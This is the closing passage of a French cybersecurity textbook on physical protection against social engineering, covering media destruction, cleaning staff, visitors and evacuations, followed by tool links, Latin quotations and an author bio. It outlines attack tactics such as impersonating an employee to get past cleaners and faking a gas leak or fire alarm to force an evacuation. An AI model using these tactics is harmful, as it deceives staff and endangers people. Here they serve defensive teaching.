			Les poubelles peuvent receler des trésors pour les ingénieurs sociaux : documentation technique, manuels opératoires, listages imprimés (de salariés, clients ou fournisseurs), organigrammes, documents financiers, rapports de sécurité, disques durs, cartouches de sauvegarde, DVD, clés USB, etc.

			Afin d’empêcher ces trouvailles, les entreprises doivent insister pour que toutes les informations sensibles à éliminer soient d’abord effacées de façon sécurisée.

			Pour les documents papier, cela demande l’utilisation de destructeurs de documents. Les déchiqueteuses ne doivent pas être bas de gamme, car celles-ci se limitent à couper le papier en bandes horizontales, ce qui laisse à un attaquant déterminé la possibilité de reconstruire le « puzzle ». Il faut privilégier les destructeurs de documents coupe croisée, qui rendent toute reconstruction impossible en pratique.

			

			Pour les supports de stockage électroniques, il y a plusieurs façons d’effacer les données avant le décommissionnement :

			- Overwriting : on réalise plusieurs écritures successives de 0 et de 1 pour écraser les données d’origine. Cette technique est couramment utilisée, mais n’est pas considérée lab-proof, dans la mesure où une rémanence de l’information originale peut être exploitée pour récupérer des données, par un laboratoire spécialisé.

			- Degaussing : on soumet les supports magnétiques à des champs électromagnétiques très puissants, qui provoquent une démagnétisation du matériel, rendant les données irrécupérables.

			- Destruction physique : les disques subissent un coup de perceuse ou, de façon plus sûre, sont broyés en petits morceaux ou dissouts dans un agent chimique.

			- Effacement cryptographique : les données sont chiffrées avec une clé qui est ensuite détruite. Si l’algorithme est suffisamment puissant, cela revient à effacer les données sans possibilité de récupération.

			Personnel de ménage

			Le personnel de ménage peut jouer un rôle critique dans la sécurité physique d’une organisation, en raison de l’accès aux locaux dont il dispose dans des heures où il y a très peu d’employés, voire aucun. Cela comporte deux menaces :

			1.Un membre du personnel de ménage peut être dupé par un attaquant.

			2.Un membre du personnel de ménage peut abuser de sa position privilégiée.

			Examinons un premier scénario d’attaque : un pirate audacieux se présente dans les locaux à une heure très tardive, ou alors très tôt le matin, alors que les seules personnes présentes dans les locaux font partie du personnel de ménage. En l’absence d’agents de sécurité, le pirate se manifeste directement et déclare être un employé qui a un besoin urgent d’accéder aux locaux, en prétextant par exemple une opération de maintenance informatique, ou la nécessité de récupérer du matériel avant un déplacement imminent.

			

			Les nettoyeurs, animés par leur respect habituel des employés, accèderont probablement à la requête de l’ingénieur social, qui pourra circuler librement dans les locaux de l’entreprise et se livrer à différents types d’attaque (vol, sabotage, placement d’équipements réseau piégés, piratage d’ordinateurs).

			Afin d’éviter cela, le personnel de ménage doit recevoir la consigne écrite de ne jamais ouvrir la porte à qui que ce soit ; cela pourrait être formalisé par écrit comme condition du contrat avec l’entreprise de nettoyage. Encore mieux, le personnel de ménage ne devrait jamais être placé dans la position de décider qui admettre dans les locaux, en planifiant les opérations de nettoyage au début ou à la fin des heures ouvrées, en présence d’au moins un employé.

			Un deuxième scénario à prendre en compte est celui dans lequel un ingénieur social, voire un espion industriel, infiltre l’équipe de nettoyage.

			Dans tous les cas, tous les supports électroniques contenant des informations non destinées à la diffusion publique doivent être verrouillés dans un endroit physiquement sécurisé. C’est le cas par exemple des cartouches de sauvegarde ; un coffre ignifugé se prête très bien à leur stockage.

			Visiteurs

			Les ingénieurs sociaux peuvent exploiter une gestion laxiste des visiteurs, afin de gagner un accès aux locaux de l’organisation puis d’y circuler à loisir.

			Les mesures suivantes permettent de limiter ce risque :

			- Tous les visiteurs doivent présenter un permis de conduire valide ou une autre pièce d’identité avec photo pour être admis dans les locaux.

			- Le personnel de sécurité ou le réceptionniste doit faire une photocopie de la pièce d’identité avant de délivrer un badge visiteur.

			

			- La copie doit être conservée avec le journal des visiteurs.

			- Les visiteurs doivent être escortés ou en compagnie d’un employé en tout temps.

			- Les employés de l’entreprise d’un autre site qui n’ont pas leur badge d’employé avec eux doivent présenter un permis de conduire valide ou une autre pièce d’identité avec photo et recevoir un badge de visiteur temporaire.

			Évacuation

			Des espions industriels ou des pirates sophistiqués peuvent provoquer une diversion pour accéder à un bâtiment ou à une zone sécurisée.

			Citons deux techniques :

			- Libérer dans l’air un produit chimique inoffensif comme du butanethiol, dans le but de créer l’impression qu’il y a une fuite de gaz naturel.

			- Utiliser une bombe à fumée pour déclencher un détecteur et provoquer une alarme incendie.

			Une fois que le personnel a lancé les procédures d’évacuation, l’attaquant audacieux utilise cette diversion pour voler des informations ou accéder aux systèmes informatiques de l’entreprise.

			Pour limiter ce risque, les procédures d’évacuation doivent inclure des vérifications que personne ne reste dans les locaux, y compris dans les toilettes.

			

			Conclusion

			Félicitations pour être arrivé jusqu’à la fin de cet ouvrage, bravo pour votre persévérance !

			En parcourant ces pages, vous avez exploré un large spectre des concepts fondamentaux et absorbé un grand nombre de notions. Vous avez désormais les bons repères pour naviguer dans l’univers riche et en constante évolution de la cybersécurité.

			Je vous invite à poursuivre cette aventure avec curiosité et enthousiasme, en approfondissant vos compétences et en explorant les sujets émergents, comme l’intelligence artificielle et les ordinateurs quantiques. Les menaces évoluent, les technologies avancent, et de nouvelles opportunités d’apprentissage se présentent chaque jour.

			Gardez à l’esprit que, dans ce domaine, personne ne peut prétendre tout savoir. L’humilité et l’ouverture à l’apprentissage sont vos meilleures alliées pour progresser.

			Que ce voyage dans le monde de la cybersécurité ne soit qu’un début. Continuez à étudier, à tester vos idées et à protéger vos données !

			
				
					74 https://en.wikipedia.org/wiki/Dig_(command)

				
				
					75 https://www.kali.org/tools/dnsrecon/

				
				
					76 https://dnsdumpster.com/

				
				
					77 https://www.shodan.io/

				
				
					78 https://builtwith.com/

				
				
					
						
							79						
					

					 https://hunter.io/

				
				
					80 https://haveibeenpwned.com/

				
				
					81 https://github.com/smicallef/spiderfoot

				
				
					82 https://exiftool.org/

				
				
					83 https://www.maltego.com/

				
				
					84 https://github.com/trustedsec/social-engineer-toolkit

				
				
					85 https://en.wikipedia.org/wiki/Influence:_Science_and_Practice

				
				
					
						
							86						
					

					 https://fr.wikipedia.org/wiki/Porte-au-nez

				
				
					87 https://fr.wikipedia.org/wiki/Pied-dans-la-porte

				
				
					88 https://fr.wikipedia.org/wiki/R%C3%A9actance_(psychologie)

				
				
					89 https://fr.wikipedia.org/wiki/Psychologie_invers%C3%A9e

				
				
					90 https://en.wikipedia.org/wiki/Thinking,_Fast_and_Slow

				
			

		

	
		
			

			

			Bonus 25 citations latines sur la cybersécurité

			Phishing et social engineering

			Aditum nocendi perfido praestat fides - La confiance en autrui donne au perfide l’occasion de nuir.

			Decipit incautas fistula dulcis aves - La douce cornemuse trompe les oiseaux imprudents.

			Timeo Danaos et dona ferentes - Je crains les Grecs, même lorsqu'ils font des cadeaux.

			Abundans cautela non nocet - L'excès de prudence ne peut nuire.

			Virtutem primam esse puto compescere linguam - Je crois que la première vertu est de retenir la langue.

			Politiques de sécurité

			Dura lex, sed lex - La loi est dure, mais c'est la loi.

			Noli esse iustus multum - Ne sois pas juste à l’excès.

			Nulla poena sine lege - Aucune peine, sans loi.

			Dicere perfacile est, opus exercere molestum - Dire c'est très facile, mettre en pratique est difficile.

			Verba volant scripta manent - Les paroles s'envolent, les écrits restent.

			

			Sécurité défensive

			Vulpinari cum vulpe - Avec le renard, comporte-toi en renard.

			Laevius laedit quidquid praevidimus ante - Ce que nous avions prévu auparavant fait moins mal.

			Si vis pacem para bellum - Si tu veux la paix, prépare la guerre.

			Estote parati - Soyez prêts.

			Sécurité offensive

			Pulsate et aperietur vobis - Frappez et on vous ouvrira.

			Quaerite et invenietis - Cherchez et vous trouverez.

			Auribus frequentius quam lingua utere - Utilisez vos oreilles plutôt que votre langue.

			Sensibilisation

			Nihil recte sine exemplo docetur - Sans exemple, on ne peut rien enseigner correctement.

			Repetita iuvant - Les choses répétées aident.

			Risk management

			Qui amat periculum in illo peribit - Qui aime le danger y périra.

			Sero in periculis est consilium quaerere - Quand le danger est arrivé, il est tard pour se faire aider.

			Patch management

			Nihil perpetuum pauca diuturna sunt - Rien n'est éternel et peu de choses durent longtemps.

			Haute disponibilité

			Bonum est duabus fundari navem ancoris - Il est bon de sécuriser son bateau avec deux ancres.

			Malware

			Grex totus in agris unius scabie cadit - Tout un troupeau à la campagne périt de la gale d'un animal.

			Cyber threat intelligence

			Tua res agitur, paries cum proximus ardet - Votre intérêt est en jeu, quand la maison du voisin brûle.
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			Giuliano Ippoliti est un professionnel expérimenté en cybersécurité, passionné par les défis techniques et organisationnels du numérique. 

			Né en Italie, il manifeste dès son enfance un intérêt marqué pour les sciences et la résolution de problèmes complexes. 

			Après avoir remporté plusieurs compétitions étudiantes en mathématiques et physique, il intègre l’École Sant’Anna de Pise, où il obtient en 2003 un diplôme d’ingénieur en télécommunications. Cette même année, il s’installe en France.

			Au cours de sa carrière, Giuliano explore différents domaines de l’informatique : ingénierie des systèmes, administration des réseaux, développement logiciel et gestion de projets. 

			Ces expériences diversifiées l’amènent à se spécialiser progressivement en cybersécurité, un domaine qui conjugue ses compétences techniques et son intérêt pour la protection des systèmes d’information. Il évolue de missions techniques à des rôles organisationnels, jusqu’à occuper le poste de directeur de la cybersécurité au sein d’un fournisseur de services cloud parmi les leaders français.

			Attentif à l’importance de l’apprentissage continu, Giuliano a enrichi son parcours avec de nombreuses certifications professionnelles et partage régulièrement son expertise. Formateur indépendant en cybersécurité, il collabore avec plusieurs organismes de formation et intervient régulièrement comme speaker lors de conférences et événements spécialisés.

			Sur le plan personnel, il est passionné par le jeu d’échecs ; il a remporté à trois reprises le titre de champion départemental.

			Contact : giuliano@ippoliti.eu

			Site Internet : https://giuliano.ippoliti.eu/
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